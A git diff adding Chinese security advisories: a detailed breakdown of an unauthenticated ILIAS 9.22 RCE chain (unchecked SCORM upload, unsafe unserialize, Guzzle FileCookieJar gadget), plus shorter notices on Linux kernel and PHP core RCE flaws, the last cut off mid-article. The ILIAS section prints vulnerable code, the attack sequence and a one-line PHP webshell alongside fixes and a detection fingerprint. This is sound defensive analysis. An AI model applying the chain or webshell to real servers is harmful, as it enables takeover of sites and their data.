12:32 + +漏洞预警 +# ILIAS 9.22 零权限 RCE：无需任何账号，四步写入 webshell + +漏洞预警 · 组合利用链拆解 · 靶场实测 + +摘要 +两个单独都不致命的缺陷，因为「坐标重合」被串成了一条完整 RCE：一个漏掉权限校验的上传，写进了一个会被反序列化的临时文件，再借 guzzle 的析构函数写到站点根目录。全程零凭据。 + +**说明：** +本文所有验证均在授权靶场完成，目标地址与敏感路径已脱敏（IP 使用 RFC5737 文档专用地址段）。文中不提供可直接使用的完整利用代码，仅呈现原理与请求形态，供防御方研判与加固。请勿对未授权系统进行测试。 +## 一、漏洞概述 +
项目
结论
受影响产品
ILIAS（开源学习管理系统）9.22
漏洞类型
零权限（未授权）远程代码执行
涉及编号
VE-0282（未授权任意文件写入）+ VE-0301（无限制反序列化）
攻击者起点
无任何账号 / Cookie / Token / Session，全程匿名
执行权限
uid=994(nginx)
，即 PHP-FPM 工作进程用户
利用前提
站点存在一个匿名可读的 SCORM 2004 学习模块
+一句话总结：匿名攻击者先把承载 PHP 载荷的序列化 gadget 投毒进 SCORM 的日志临时文件，再触发**无限制反序列化** +，借 gadget 的析构函数把 webshell 写到站点根目录——全程不需要任何凭据。 + +🚨 **危害面为什么大：** +执行身份是 PHP-FPM 进程用户，对站点代码、配置文件、会话数据、数据库凭据基本都有读权限。**一次匿名请求，等于交出了整站。** +## 二、影响范围与自查条件 + +本次实测基于 ILIAS 9.22（nginx 1.24 + PHP-FPM 8.1.34 + MariaDB 10.5.29）。是否受影响，可以按下面四条件逐条对照： +
自查条件
说明
站点启用了 SCORM / SCORM 2004 模块
这是整条链的入口，且是最常见的教学配置
存在允许匿名访问的课程 / 学习模块
公开课程、招生页试听模块都属于此列
未合入权限校验补丁
见第八节修复项 1，这是根治点
PHP-FPM 进程对站点根目录可写
这一条会把「写入」直接放大成「执行」
+💡 **一条能直接用的排查线索：** +这条链写出来的 webshell，文件开头必然是 [{"Name": + —— 因为落盘内容本质上是 FileCookieJar::save() + 生成的 JSON。**在站点根目录搜「内容以 [{"Name": 开头的 .php 文件」** +，是一个非常独特且低误报的指纹。 +## 三、第一个洞：少了一行 checkAccess + +在 ilObjSAHSLearningModuleGUI::executeCommand() + 里，处理文件系统界面的那个分支是这样的： + +Modules/ScormAicc/classes/class.ilObjSAHSLearningModuleGUI.php:119 + + +case "ilfilesystemgui": +    $fs_gui = new ilFileSystemGUI($this->object->getDataDirectory()); +    $fs_gui->setUseUploadDirectory(true); +    $fs_gui->setTableId("sahsfs" . $this->object->getId()); +    $this->ctrl->forwardCommand($fs_gui);   // <-- 缺少 checkAccess('write') !! +    break; + + +而**同一个文件** +里，紧邻的另一个分支是这么写的： + +同文件 L101 · 有校验 + + +case "ilobjectmetadatagui": +    ... +    $ilAccess->checkAccess('write', '', $this->object->getRefId());   // 有 + + +一行之差。而且往下追，ilFileSystemGUI::uploadFile() + 自身也不做权限校验，isValidSuffix() + 在「未配置允许后缀」时对**任意后缀返回 true** +： + +Services/FileSystem/classes/class.ilFileSystemGUI.php + + +// getAllowedSuffixes() 为空时 —— SCORM 模块通常不配置后缀 +// isValidSuffix() 对任意扩展名一律返回 true +// 结果：.php 也能传 + + +到这里看起来已经能拿 shell 了。但**这条链真正的难点，恰恰在于它做不到** +。 + +⚠️ **两个硬限制，把它按死在一个「无害」的格子里：** + +① 文件名经过 secure(stripSlashes()) + 清洗，路径穿越打不出去 —— 三种穿越写法实测全部失败，落点被钉死在 /data/ilias/lm_data/lm_/ +。 + +② 这个目录在 /data + 下，由 WebAccessChecker（wac.php +）守着，**即便落的是 .php 也不会被 PHP-FPM 执行** +。 + +所以单看这个洞，最坏的结果是「往一个不能执行的目录里塞了个文件」。**它自己是构不成 RCE 的。** + +那它为什么还是危险？因为第二个洞的坐标，正好和它重合。 +## 四、第二个洞：一个不该被反序列化的临时文件 + +SCORM 播放器有个记录日志的方法 postLogEntry() +，会把前端提交的日志写进临时文件： + +Modules/Scorm2004/classes/class.ilSCORM13PlayerGUI.php:1751 + + +$logdata  = json_decode(file_get_contents('php://input')); +$filename = $this->logFileName();                 // 生成/校验守卫文件 +$tmp_name = $this->logTmpName();                  // = /logs/.tmp +$fh_tmp   = fopen($tmp_name, 'r'); +if (filesize($tmp_name) > 0) { +    $tmp_content = unserialize(fread($fh_tmp, filesize($tmp_name))); +    //            ^^^^^^^^^^^ 没有 allowed_classes +} + + +三个「巧合」叠在一起，这件事就成立了： +
巧合
含义
目录重合
logDirectory()
 指向的 /logs，正是第一个洞能写进去的目录
文件名可控
logTmpName()
 就是 <packageId>.tmp，可以精确指定要覆盖哪个文件
先删后读
logFileName()
 在守卫文件不存在时会 unlink() 掉这个 tmp
+第三条读起来有点绕，但它解释了整条链里最「反直觉」的一步：**你必须先造一个守卫文件。** + +为什么要先造守卫文件 + + +logFileName() 的逻辑： +    logs/_.html 不存在 +        → unlink(logTmpName())        ← 你刚投毒的 .tmp 被删了 +        → 反序列化拿到空内容，链路断在这里 +所以攻击顺序必须是： +    ① 先请求一次 postLogEntry，让它正常生成 _.html / .csv +    ② 再投毒 .tmp +    ③ 再触发一次 postLogEntry，此时守卫文件已存在 → 不再 unlink + + +💡 这个「守卫文件」机制，是整条链最有意思的地方。unlink() + 原本是为了清理垃圾，客观上却成了一道**隐式的时序闸门** +——攻击者必须先配合这套逻辑走完第一步，才能进到第二步。绕不过去，只能顺着来。 +## 五、gadget：为什么是 FileCookieJar + +光有「能反序列化」还不够，得有一个**会被自动调用、且能写文件** +的类。ILIAS 自带的 Composer 依赖里就有现成的： + +libs/composer/vendor/guzzlehttp/guzzle · FileCookieJar.php + + +public function __destruct() { +    $this->save($this->filename);          // filename 完全由攻击者控制 +} +public function save(string $filename): void { +    foreach ($this as $cookie) { +        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { +            $json[] = $cookie->toArray(); +        } +    } +    $jsonStr = Utils::jsonEncode($json); +    file_put_contents($filename, $jsonStr, \LOCK_EX);   // <-- Sink +} + + +三个要点： +1. __destruct() + 是**请求结束自动触发** +的，不需要攻击者再做什么； + +1. $filename + 是私有属性，序列化时用 \0类名\0属性名 + 的前缀就能指定，可以是**任意绝对路径** +； + +1. 落盘内容是 JSON，但 PHP 解析这个文件时，**JSON 前缀只是普通文本，后面的  照样执行** +。 + +所以只要把 PHP 代码塞进 SetCookie->data['Value'] +，写出来的文件就是一个「长得像 JSON 的 webshell」： + +落盘文件的真实内容（服务端取证） + + +[{"Name":"x","Value":"'; system($_REQUEST[0]);?> +","Domain":"a","Path":"\/","Max-Age":0,"Expires":9999999999,...}] + + +注意最前面那个 [{"Name": + —— 它不会被 PHP 当语法错误，只会被当成普通文本输出。这也正是第二节那个排查指纹的由来。 +## 六、完整链路 + +四步利用链（全程匿名） + + +[匿名攻击者 · 零凭据] +     │ +     ├─ ① 访问 SCORM 播放器（cmd=default） +     │    → ILIAS 为匿名用户写入 sahs_user 跟踪行 +     │    → 缺这条记录，后面会 Whoops 跳 error.php +     │ +     ├─ ② postLogEntry [#1]() + +     │    → 生成守卫文件 logs/_.html / .csv +     │ +     ├─ ③ VE-0282 未授权上传 +     │    → new_file → logs/.tmp +     │    → 内容是序列化的 FileCookieJar gadget（678 字节） +     │ +     ├─ ④ postLogEntry [#2]() + +     │    → unserialize(logs/.tmp)      ← VE-0301 +     │    → 请求结束，对象析构 +     │    → FileCookieJar::__destruct() → save() +     │    → file_put_contents(任意绝对路径)        ← 写进 webroot +     │ +     └─ ⑤ GET /ve0282_.php?0=id +          → uid=994(nginx) gid=991(nginx)        ← RCE + +
步骤
动作
权限
0
匿名访问播放器，建立跟踪行
匿名（框架副作用）
1
生成守卫文件
匿名 + 模块 read
2
未授权上传，投毒 .tmp
完全无鉴权
3
触发反序列化 → 任意路径写入
匿名
4
访问 webshell
代码执行（nginx）
## 七、验证：怎么排除「假阳性」 + +这类盲写链最容易出的问题是「其实没打通，只是看到了缓存或别人的文件」。验证时做了五件事： +
检查项
做法
唯一随机标记
uuid4 前 8 位，同时用于文件名与回显串
多次独立复跑
3 次独立执行，3/3 命中各自 marker
字节级取证
服务端 cat 落盘文件，与 gadget 设计逐字节吻合
空手复跑
构造 NoCookiePolicy，每个请求都不带也不回传 Cookie
起点独立性
每次运行都新建空 Session
+💡 其中「**逐请求丢弃 Cookie** +」这一步特别关键。很多所谓的「零权限链」，其实偷偷用上了匿名会话下发的那一个 JSESSIONID——看起来没登录，实际上有状态。把 Cookie 从头到尾都扔掉还能跑通，才算真的空手。 +## 八、修复建议 + +最高优先级（根治两个洞） +1. **补上权限校验（VE-0282）** +：在 executeCommand() + 的 case "ilfilesystemgui" + 分支里补上写权限判断，并在 ilFileSystemGUI::uploadFile() + 内做统一鉴权； + +1. **收紧反序列化（VE-0301）** +：unserialize() + 加 ['allowed_classes' => false] +，或干脆把日志改成 JSON 存储。对日志、dist* 这类"用户可影响"的内容，一律不反序列化对象； + +1. **消除可用 gadget** +：升级 guzzle（新版本 FileCookieJar 行为已收敛），或对反序列化入口做类白名单，阻断 FileCookieJar + / SetCookie + 这类"能写文件"的类。 + +修复示意（权限校验） + + +case "ilfilesystemgui": +    if (!$ilAccess->checkAccess('write', '', $this->object->getRefId())) { +        $ilErr->raiseError($lng->txt('permission_denied'), $ilErr->MESSAGE); +    } +    $fs_gui = new ilFileSystemGUI($this->object->getDataDirectory()); +    ... + + +纵深防御（降低"写入即 RCE"的杀伤面） +1. **收敛可写落点** +：对 SCORM 数据目录做后缀白名单，不接受任意扩展名； + +1. **可写目录必须不可执行** +：/data + 已有 WAC 保护，要确保**任何用户能影响到的写入目录** +都同样不可被 Web 执行； + +1. **降低运行权限** +：PHP-FPM 进程不要以"对站点根目录有写权限"的用户运行。这一条不修漏洞，但它决定了漏洞的后果是一个站还是一个 shell； + +1. **盘点匿名可读的 SCORM 模块** +：如果业务不需要匿名访问，把公开范围收掉，入口就没了。 + +## 九、写在最后 + +这条链最值得记住的，不是那 678 字节的 gadget，而是三点： +1. **「单独不可利用」是会变的。** + 文件写入被 WAC 挡住了、路径穿越被打死了——单独看它就是个中危。可一旦另一个洞的写入点正好落在它的目录上，两个"不致命"就凑成了一个"致命"。 + +1. **反序列化永远是个放大器。** + 它本身可能只值一个"对象注入"，但只要项目里装了任何带写文件、发请求、删目录的析构类，它就立刻变成 RCE。allowed_classes => false + 这一行，成本几乎为零，收益极大。 + +1. **「不可执行」往往是最后一道墙。** + 这条链里，WAC 保护让第一个洞变成了哑弹；而 PHP-FPM 的写权限又让第三个洞变得致命。**同一套代码，配置不同，结局可能完全相反。** + +所以防守的优先级也很清楚：**先补那一行 checkAccess，再给 unserialize 加白名单，最后确认可写目录跑不了 PHP。** + 三步做完，这条链就彻底断了。 + +**📌 编号说明：** +本文使用内部漏洞编号 VE-0282 / VE-0301 指代，未引用 CVE 编号。文中版本信息基于 9.22 的实测结果，其它版本请以第八节自查条件逐条比对，不要假设「不是 9.22 就安全」。 + +如果这条预警对你有用 + +点个「在看」转给管 LMS 的同事 👇 +尤其是那些为了做公开课，把 SCORM 模块开成匿名可读的站点。 + + diff --git a/doc/2026-10/【漏洞预警】Linux内核PwnEscape虚拟机逃逸漏洞（CVE-2026-99999）.md b/doc/2026-10/【漏洞预警】Linux内核PwnEscape虚拟机逃逸漏洞（CVE-2026-99999）.md new file mode 100644 index 00000000..51d63a0d --- /dev/null +++ b/doc/2026-10/【漏洞预警】Linux内核PwnEscape虚拟机逃逸漏洞（CVE-2026-99999）.md @@ -0,0 +1,35 @@ +# 【漏洞预警】Linux内核PwnEscape虚拟机逃逸漏洞（CVE-2026-99999） +信通云服 + 信通云服 信通云服 2026-10-21 09:35 + +# 【漏洞描述】 +### 组件介绍 + +Linux内核是Linux操作系统的核心，负责管理硬件资源、进程调度、内存管理、设备驱动以及网络通信，广泛应用于服务器、云宿主机、虚拟机、容器、嵌入式设备等场景。IPv4协议栈属于内核网络子系统的关键组成部分，承担IPv4数据包的接收、校验、路由转发、分片重组等工作，主机之间、虚拟机与宿主机、容器之间的IPv4网络通信都依赖该模块处理。 +## 漏洞简介 + +该漏洞源于Linux内核中skb_checksum_help函数对IPv4数据包校验和元数据的校验缺失，属于内核原生通用漏洞，并非特定云厂商或虚拟化软件的配置问题，因此影响所有基于Linux内核的虚拟化隔离环境。攻击者可在受控虚拟机或容器内发送携带恶意校验和元数据的IPv4数据包，触发内核处理校验和时越界修改网络头部数据，不仅能读取宿主机内存中的敏感数据，突破租户隔离边界，还可触发内核崩溃导致宿主机拒绝服务。 +# 【影响范围】 + +Linux 内核主线 2.6.27 ~ 7.2.10 + +Linux 5.10 稳定分支 < 5.10.272 + +Linux 5.15 稳定分支 < 5.15.223 + +Linux 6.1 稳定分支 < 6.1.190 + +Linux 6.6 稳定分支 < 6.6.159 + +Linux 6.12 稳定分支 < 6.12.113 + +Linux 6.18 稳定分支 < 6.18.57 + +Linux 7.2 稳定分支 < 7.2.11 +# 【修复建议】 + +通过发行版官方源升级内核至最新安全版本，升级后需重启系统加载新内核。 +# 【参考链接】 + +https://nvd.nist.gov/vuln/detail/cve-2026-99999 + diff --git a/doc/2026-10/【紧急预警】PHP 核心曝两个严重 RCE 漏洞.md b/doc/2026-10/【紧急预警】PHP 核心曝两个严重 RCE 漏洞.md new file mode 100644 index 00000000..321965bc --- /dev/null +++ b/doc/2026-10/【紧急预警】PHP 核心曝两个严重 RCE 漏洞.md @@ -0,0 +1,27 @@ +# 【紧急预警】PHP 核心曝两个严重 RCE 漏洞 +泼猴 + 泼猴 表哥带我 2026-10-21 08:57 + +![](https://mmbiz.qpic.cn/mmbiz_png/UA4ABKCY6OzcOrUMTzLdbbfn592QWFZ1iaFw4wQVnugEOPibZ7C0HUNCdMiaey20WnArfLqCC8XJuJWPzAVH8HDgpaoNrp38eJxPTxrccjchSU/640?wx_fmt=png&from=appmsg "") + +## 内容验真 + +**核心事实与来源** +： +- 漏洞真实性与编号、CVSS v4.0 9.2、补丁排期 21 日 14:00 UTC：PHP 官方公告（php.net）、CERT-EU Security Advisory 2026-018 + +- 影响 PHP 5.4+ 几乎所有版本（报道口径，官方最终范围待公告）：watchTowr FAQ、Beazley Security Labs BSL-A1233、澳大利亚 ACSC 预警、国内安全媒体整理 + +- 利用工具在补丁发布前泄露、演示视频流传：社交平台公开讨论（郑昀微博 13:08），属公开报道 + +- 漏洞与 multipart 上传处理相关：第三方研究（DeXpose）描述，**未获官方确认** +，文中已标注 + +- 内存类缺陷不必然每个构建可稳定利用：DeXpose 研究提示，文中已作为未知项处理 + +- 国内媒体 "补丁已发布" 快讯：DoNews 14:25 发布，与官网状态不符，判定为预发稿，**已不采信并在文中说明** + +**信息时点** +：2026-10-21 17:00（补丁发布前）。官方技术细节、确切受影响版本、修复版本号以今晚 PHP 官方公告为准 + + diff --git a/doc/2026-10/【零日雷达】【已验证RCE】PHP 远程代码执行漏洞（CVE-2026-109618、CVE-2026-109619）.md b/doc/2026-10/【零日雷达】【已验证RCE】PHP 远程代码执行漏洞（CVE-2026-109618、CVE-2026-109619）.md new file mode 100644 index 00000000..327e3db4 --- /dev/null +++ b/doc/2026-10/【零日雷达】【已验证RCE】PHP 远程代码执行漏洞（CVE-2026-109618、CVE-2026-109619）.md @@ -0,0 +1,95 @@ +# 【零日雷达】【已验证RCE】PHP 远程代码执行漏洞（CVE-2026-109618、CVE-2026-109619） + 安恒信息CERT 2026-10-21 16:23 + +![安恒信息安全通告](https://mmbiz.qpic.cn/mmbiz_png/P5dz00jGoySAQHTIA0eeG1KCkHSuDly4EkMdyTzvmC2F2bH6RAxYMALA4zwgibCUHkMHfM11e5KVoAL54Kibw2v1Abov1fBAVQg6ibFlGZY1MA/640?from=appmsg "") + +


漏洞概述

漏洞名称

PHP远程代码执行漏洞（CVE-2026-109618、CVE-2026-109619）

官方评级

严重（Critical，PHP 官方评级）

CVSS4.0评分

两项均为 9.2

CVE编号

CVE-2026-109618/CVE-2026-109619

CNVD编号

未分配

CNNVD编号

未分配

安恒CERT编号

未分配

POC情况

 已发现

EXP情况

 已发现

在野利用

 未发现

研究情况

已分析

危害描述

未经身份验证的攻击者可通过构造 HTTP 请求触发 PHP 请求处理过程中的异常内存耗尽，使未正确初始化或已释放的内部状态被继续使用，进而造成 Web 工作进程崩溃、进程内存信息泄露，甚至以 Web 服务进程权限执行任意代码。

+ +2026 年 10 月 21 日，PHP 官方披露两项严重漏洞并发布安全更新公告：CVE-2026-109618 和 CVE-2026-109619。两项漏洞的官方 CVSS 4.0 评分均为 9.2。建议运行 PHP Web 服务的用户尽快升级，并依据实际 SAPI、应用操作及配置评估风险。 + +**安恒零日雷达于21:56捕获到cve信息，并于23:59分析完成，成功复现远程代码执行** + +![](https://mmbiz.qpic.cn/mmbiz_png/P5dz00jGoyTPLJmibIia4EVqDSLK4C7327xe9rpDv2FRK3l5uWKeu67Qhuo2A0IRibS0tSuHJ8j9fzanLfZGcAWyibzW2b6JUaRZKrzH6Inj6RA/640?wx_fmt=png&from=appmsg "") + +**** + + +**漏洞信息** + + + +PHP 是广泛用于服务端 Web 开发的脚本语言。此次问题涉及请求内存管理及跨请求工作进程状态，PHP-FPM、mod_php 等部署均需结合官方公告排查。 + + +**漏洞描述** + +漏洞危害等级：严重（PHP 官方评级） + +漏洞类型：OOM 内存损坏；跨请求全局状态释放后使用 + +CVE-2026-109618：OOM 内存损坏。PHP 在内存耗尽时通过 longjmp() 提前退出，可能留下尚未完整初始化的请求内存。请求关闭流程随后访问这些无效状态，可造成内存损坏和远程代码执行。官方已在 Apache mod_php 默认输入与内存限制下，通过 HTTP 验证完整的未认证 RCE，触发可发生在应用代码执行前。 + +对本项 OOM 漏洞，PHP-FPM 在请求启动失败时会退出子进程，因此阻断上述启动阶段路径；正常启动后仍可能通过应用相关 OOM 受影响，但该公告没有演示完整 FPM 利用。FrankenPHP、LSAPI 的相关判断基于源码分析，不能写成均已完成利用验证。 + +CVE-2026-109619：跨请求全局状态释放后使用。工作进程中的全局状态仍持有上一请求已释放内存的指针，后续请求在正常初始化重置前访问旧状态，可造成堆释放后使用、内存泄露及远程代码执行。产生旧状态与消费旧状态的请求必须到达同一工作进程。 + +官方确认 PHP 8.5 致命错误回溯路径可在 mod_php 下实现 RCE，并确认会话上传进度生命周期路径可在 mod_php 和 PHP-FPM 下实现 RCE。FPM 已验证路径依赖正常启动后合适的应用操作，不能据此认定所有默认 FPM 环境均可在应用代码执行前无条件执行代码。会话上传进度功能默认开启，触发相关处理不要求应用主动调用 session_start()。 + +两项漏洞的官方向量均为 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N。官方确认的研究利用与公开 EXP、在野利用是不同概念；所引公告没有说明公开完整 EXP 或在野利用情况。 + +影响范围按 PHP 分支分别确认：8.2 分支升级至 8.2.35，8.3 分支升级至 8.3.36，8.4 分支升级至 8.4.27，8.5 分支升级至 8.5.12，或使用相应分支更高的安全版本。PHP 8.1 及更早分支已结束官方支持，应迁移至受支持版本或向发行版、LTS 供应商核实补丁。官方提供的部分旧分支最小源码回移不代表恢复支持，也不代表旧版本不受影响。 + + +**影响范围** + +影响版本：PHP 5.4.0–8.1.x；PHP 8.2.x < 8.2.35；PHP 8.3.x < 8.3.36；PHP 8.4.x < 8.4.27；PHP 8.5.x < 8.5.12。 + +安全版本：PHP 8.2.35、8.3.36、8.4.27、8.5.12，或对应分支后续安全版本 + + +**修复方案** + + + +**官方修复方案** + +• 尽快升级至 PHP 8.2.35、8.3.36、8.4.27、8.5.12 或对应分支后续安全版本。这些版本同时修复上述两项漏洞；升级至包含完整补丁的版本是完整修复方案。 + +• 从 PHP 官方或操作系统供应商获取更新。使用发行版回补补丁时，依据供应商安全公告确认修复状态，不能仅比较上游版本字符串。 + +• 完成更新后重启全部 PHP 工作进程和相关服务，核对实际 Web SAPI 的版本及生效配置，避免仅检查 CLI 版本。 + +**临时缓解方案** + +以下措施仅减少部分路径风险，不能替代升级，实施前需评估业务与资源影响。 + +• 对 OOM 漏洞，官方建议无法立即升级时，在管理员级配置中强制 memory_limit=-1，重启全部工作进程，并确认池、目录或应用配置没有恢复有限值。该措施移除已验证攻击依赖的可控请求内存上限，但底层分配失败仍可能触发问题，且解除 PHP 内存限制会增加资源耗尽风险。 + +• 在前端独立限制解码后的请求体大小，合理设置 post_max_size，限制输入变量、multipart 分段及每段头数量、上传数量和 max_input_nesting_level。不需要 multipart 的应用可在前端拒绝此类请求。不得使用 RLIMIT_AS 或 RLIMIT_DATA 替代 PHP 内存上限，因为其可能诱发底层分配失败并进入漏洞路径。 + +• 对跨请求状态漏洞，在请求解析前生效的服务器启动配置、php.ini 或 FPM 池配置中设置 session.upload_progress.enabled=0，并重启全部工作进程；此措施仅阻断已确认的会话路径。PHP 8.5 可另设置 fatal_error_backtraces=0 并重启，以阻断已确认的致命错误回溯路径。 + +• 上述配置必须在相关处理之前生效，不能依赖脚本内的 ini_set() 或 FPM .user.ini。清理无效、冲突或废弃 INI 项及初始化前诊断，排查攻击者可达操作中的致命错误、执行超时和清理流程。关闭 display_errors、log_errors 或调整 error_reporting 不能防护跨请求状态漏洞。 + + +**参考资料** + + + +https://www.php.net/index.php + +https://www.php.net/archive/2026.php#2026-10-21-5 + +https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w + +https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp + +https://www.php.net/downloads.php + + +**技术支持** + + + +如有漏洞相关需求支持请联系400-6059-110获取相关能力支撑。 + diff --git a/doc/2026-10/【风险提示】天融信关于PHP远程代码执行漏洞CVE-2026-109618∕CVE-2026-109619(PHP2Shell)的风险提示.md b/doc/2026-10/【风险提示】天融信关于PHP远程代码执行漏洞CVE-2026-109618∕CVE-2026-109619(PHP2Shell)的风险提示.md new file mode 100644 index 00000000..4660aad0 --- /dev/null +++ b/doc/2026-10/【风险提示】天融信关于PHP远程代码执行漏洞CVE-2026-109618∕CVE-2026-109619(PHP2Shell)的风险提示.md @@ -0,0 +1,72 @@ +# 【风险提示】天融信关于PHP远程代码执行漏洞CVE-2026-109618/CVE-2026-109619(PHP2Shell)的风险提示 +天融信应急响应 + 天融信应急响应 天融信阿尔法实验室 2026-10-21 11:15 + +# 1背景介绍 + +近日，天融信阿尔法实验室监测到PHP官方发布紧急安全发布预告，PHP核心存在两个严重远程代码执行漏洞CVE-2026-109618、CVE-2026-109619（社区称PHP2Shell），PHP安全团队对两个漏洞的CVSS v4.0评分均为9.2。因漏洞信息在预定披露前提前泄露，PHP官方已定于2026年10月21日14:00 UTC（北京时间22:00）发布安全更新。截至发稿，官方尚未发布补丁及完整技术细节，尚无经权威机构确认的公开PoC及在野利用。因此，请相关用户清查资产，并在补丁发布后第一时间升级。 + +# 2漏洞描述 + +PHP是一种广泛使用的开源通用脚本语言，尤其适用于Web开发，可嵌入HTML并在服务端执 +行。它通过PHP-FPM、mod_php、php-cgi等运行方式处理动态页面、表单、会话及文件上传等逻辑，为上层应用提供运行时环境。凭借其易用性、丰富的生态和广 +泛的主机支持，PHP支撑了大量网站和Web应用，包括WordPress、Drupal、Joomla等内容管理系统以及Magento、WooCommerce等电商平台。 + + +CVE-2026-109618和CVE-2026-109619是PHP核心中的两个远程代码执行（RCE）漏洞。PHP安全团队于2026年10月20日在php.net发布预告，确认即将发布的安全更新将修复两个严重漏洞，两者CVSS v4.0评分均为9.2，并明确表示完整技术细节、受影响版本和修复版本将随2026年10月21日14:00 UTC（北京时间22:00）的正式发布一并公布。 + + +据研究者发布的技术报告，漏洞初步指向位于PHP的会话上传进度处理：ext/session/session.c中的php_session_rfc1867_callback()缓存了指向会话数据的指针，在同一次请求内会话状态再次初始化、旧数据被销毁后，回调仍引用已释放内存，形成堆use-after-free，可被进一步发展为远程代码执行。该处理发生在应用代码执行之前，可在未认证情况下触及；相关功能自PHP 5.4.0引入且默认开启。 + +已知利用条件与公开情况： + +1、目标以Web方式运行PHP，session.upload_progress.enabled处于开启状态（默认开启），且存在可访问的PHP脚本作为请求入口；上传进度处理发生在应用代码执行之前； + +2、攻击者能够向目标发送特制的multipart/form-data POST请求，同时携带PHPSESSID、PHP_SESSION_UPLOAD_PROGRESS表单字段与文件字段；本地验证表明，在use_only_cookies=1的配置下，仅凭multipart字段即可使服务器按指定ID创建会话文件，无需Cookie； + +# 3漏洞编号 + +CVE-2026-109618、CVE-2026-109619 + +# 4漏洞等级 + +严重 + +# 5受影响版本 + +漏洞可能影响PHP 5及之后的所有版本，PHP当前受支持的分支为8.2、8.3、8.4和8.5 + +# 6修复建议 +## 6.1 临时修复 + +PHP安全更新计划于2026年10月21日14:00 UTC（北京时间22:00）发布，在补丁发布前暂无经官方确认的修复版本或缓解措施。建议用户按以下顺序处置，并在补丁发布后立即升级至php.net公布的修复版本： + + +1、 +临时防护与监测：补丁发布前如无法停用相关服务，对无法立即修补的面向互联网应用考虑实施网络隔离；同时加强监测，关注Web服务器异常子进程、网站目录新增文件等可疑迹象。 + + +2、临时缓解（初步措施，非官方修复）：如业务不使用上传进度功能，可关闭session.upload_progress.enabled，以切断目前已知的主要触发路径；使用PHP-FPM时建议同时在池配置中以php_admin_flag锁定该设置，防止被.user.ini覆盖。 + +## 6.2 升级修复 + +PHP官方预告：https://www.php.net/archive/2026.php[#2026]() +-10-20- +1 +# 7声明 + +天融信阿尔法实验室拥有对此公告的修改和解释权，如欲转载，必须保证此公告的完整性。由于传播、利用此公告而造成的任何后果，均由使用者本人负责，天融信阿尔法实验室不为此承担任何责任。 + +天融信阿尔法实验室成立于2011年，一直以来，阿尔法实验室秉承“攻防一体”的理念，汇聚众多专业技术研究人员，从事攻防技术研究，在安全领域前瞻性技术研究方向上不断前行。作为天融信的安全产品和服务支撑团队，阿尔法实验室精湛的专业技术水平、丰富的排异经验，为天融信产品的研发和升级、承担国家重大安全项目和客户服务提供强有力的技术支撑。 + +![](https://mmbiz.qpic.cn/mmbiz_png/H6W1QCHf9dGfIEDOlNXXDTqOpRkEkicJakNxM37lzr8eRJRibEfxkwBibg9KpVh6nibXHoG4xC6KyGFtTd4TOe6GyA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/H6W1QCHf9dGfIEDOlNXXDTqOpRkEkicJawf8nKyKatopPJiaayibAUCvfTVFKfxVDInq2TiaUib6xhmhpLK4Zqscgyg/640?wx_fmt=jpeg "") + +天融信 + +阿尔法实验室 + +长按二维码关注我们 + + diff --git a/doc/2026-10/一个上传请求打穿 PHP 引擎：php2shell 双漏洞拆解.md b/doc/2026-10/一个上传请求打穿 PHP 引擎：php2shell 双漏洞拆解.md new file mode 100644 index 00000000..3ccfd6c7 --- /dev/null +++ b/doc/2026-10/一个上传请求打穿 PHP 引擎：php2shell 双漏洞拆解.md @@ -0,0 +1,202 @@ +# 一个上传请求打穿 PHP 引擎：php2shell 双漏洞拆解 +原创 Qsec + Qsec Qsec 2026-10-21 16:14 + +# 一个上传请求打穿 PHP 引擎：php2shell 双漏洞拆解 + +2026 年 10 月 21 日，PHP 基金会发布了一次计划之外的紧急安全更新，一口气修复两个 CVSS v4.0 评分 9.2 的严重级漏洞。两个漏洞都位于 PHP 引擎内核，都能在无需任何认证的情况下实现远程代码执行。按原计划，细节本应在 22 日随官方公告一起发布。10 月 20 日上午，一个声称 PHP 将有重大披露的帖子出现在 Hacker News，随即被删除，但截图已经在社交网络扩散。PHP 基金会当天拍板：发版提前一天。 + +这两个漏洞很快被安全圈冠以 php2shell 的代号。watchTowr 的蜜罐网络在补丁发布当天就观测到了利用尝试；Cloudflare 在泄露后看到真实攻击流量，攻击者已经开始针对 WAF 规则变异载荷。 + +这篇文章把两个漏洞讲清楚：成因是什么，利用链怎么走，影响有多大。先说结论：漏洞不在你的代码里，在 PHP 引擎的请求善后逻辑里。只要服务器在用 PHP 响应 Web 请求，你就是潜在目标，修复只能靠升级 PHP 本身。 + +口径说明：本文为防御视角的机制拆解，不含可操作的攻击细节。利用可行性区分两类口径：官方安全公告确认的，和安全厂商研究验证的，分开标注。 +## 一、地基：PHP 是怎么跑网站的 + +理解这两个漏洞，先要理解 PHP 处理请求的模型。 + +Nginx 或 Apache 收到请求后交给 PHP 解释器，主流部署有两种。一种是 php-fpm，独立进程池，每个 worker 进程串行处理成百上千个请求；另一种是 mod_php，解释器直接嵌进 Apache 子进程，同样一个进程服务多个请求。关键在于：worker 进程处理完一个请求后并不销毁，而是留在内存里等下一个请求。这省掉了进程启动的开销，代价是所有请求共享同一块进程内存。 + +每个请求结束时要走一遍 shutdown：释放这个请求申请的内存，把全局状态复位，然后回到空闲循环。一切顺利时没有问题。但如果一个请求非正常死亡呢？比如执行超时，比如内存耗尽触发 fatal error。致命错误的处理路径和正常退出不同，中断可能发生在引擎内部任意两行代码之间，那些只有不中断才成立的内部约定，在这一刻全部失效。 + +两个漏洞的舞台就是这里：一个请求死得不清爽，在 worker 进程里留下不该留下的东西，然后被下一个毫无防备的请求踩中。 + +![PHP worker 复用与跨请求 UAF 的形成过程](https://mmbiz.qpic.cn/mmbiz_png/icVSvicxhfMd46Ss6FGrCWThAicgrucMq6IA7tvPTwS79mGbKZVchZfVC9scUbpFBEehEpZyIvAE3nsGicchHDa3r98dcaYRJibXsPpaGCr7Letk/640?from=appmsg "") + +PHP worker 复用与跨请求 UAF 的形成过程 + +▲ worker 复用与跨请求污染：请求 A 非正常死亡留下的悬垂状态，被同一 worker 的请求 B 在初始化之前踩中（依官方安全公告绘制） +## 二、CVE-2026-109618：内存耗尽时的「跳伞」 + +先看第一个漏洞。官方安全公告的描述很直白：PHP 处理内存耗尽的方式是 